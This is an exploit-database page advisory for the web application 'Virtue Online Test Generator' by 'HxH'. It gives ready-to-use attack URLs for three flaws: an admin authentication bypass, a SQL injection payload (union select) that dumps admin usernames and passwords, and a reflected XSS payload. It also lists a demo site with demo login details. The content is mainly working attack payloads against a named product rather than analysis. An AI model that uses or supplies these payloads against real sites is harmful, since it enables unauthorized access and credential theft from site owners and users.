[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Virtue Online Test Generator (AB/SQL/XSS) Multiple Vulnerabilities

Author
HxH
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-5417
Category
web applications
Date add
25-06-2009
Platform
unsorted
==================================================================
Virtue Online Test Generator (AB/SQL/XSS) Multiple Vulnerabilities
==================================================================


+===================================================================================+
|                                                                                   |
| Virtue Online Test Generator (AB/SQL/XSS) Multiple Remote Vulnerabilities         |
|                                                                                   |
+===================================================================================+
|                                                                                   |
| Author.: HxH                                                                      |
|                                                                                   |
+===================================================================================+
|                                                                                   |
| Script.: Virtue Online Test Generator                                             |
| Home...: http://www.virtuenetz.com/virtue_test_generator.php                      |
|                                                                                   |
+-----------------------------------------------------------------------------------+
|                                                                                   |
| Exploit: After user login                                                         |
|                                                                                   |
| [+] Auth Bypass                                                                   |
|                                                                                   |
| http://[website]/[script]/admin/index.php                                         |
|                                                                                   |
| [+] SQLi                                                                          |
|                                                                                   |
| http://[website]/[script]/text.php?tid=[SQL]                                      |
|                                                                                   |
| [SQL]=null+union+select+1,2,concat(user_name,0x3a,user_pass)+from+admin--         |
|                                                                                   |
| [+] XSS                                                                           |
|                                                                                   |
| http://[website]/[script]/text.php?tid=<script>alert(1)</script>                  |
|                                                                                   |
+-----------------------------------------------------------------------------------+
|                                                                                   |
| Demo...: http://www.virtuenetz.com/exam                                           |
| Usrinfo: E-mail:demo@virtuenetz.com ~ Pass:demo                                   |
|                                                                                   |
+===================================================================================+



#  0day.today [2024-11-16]  #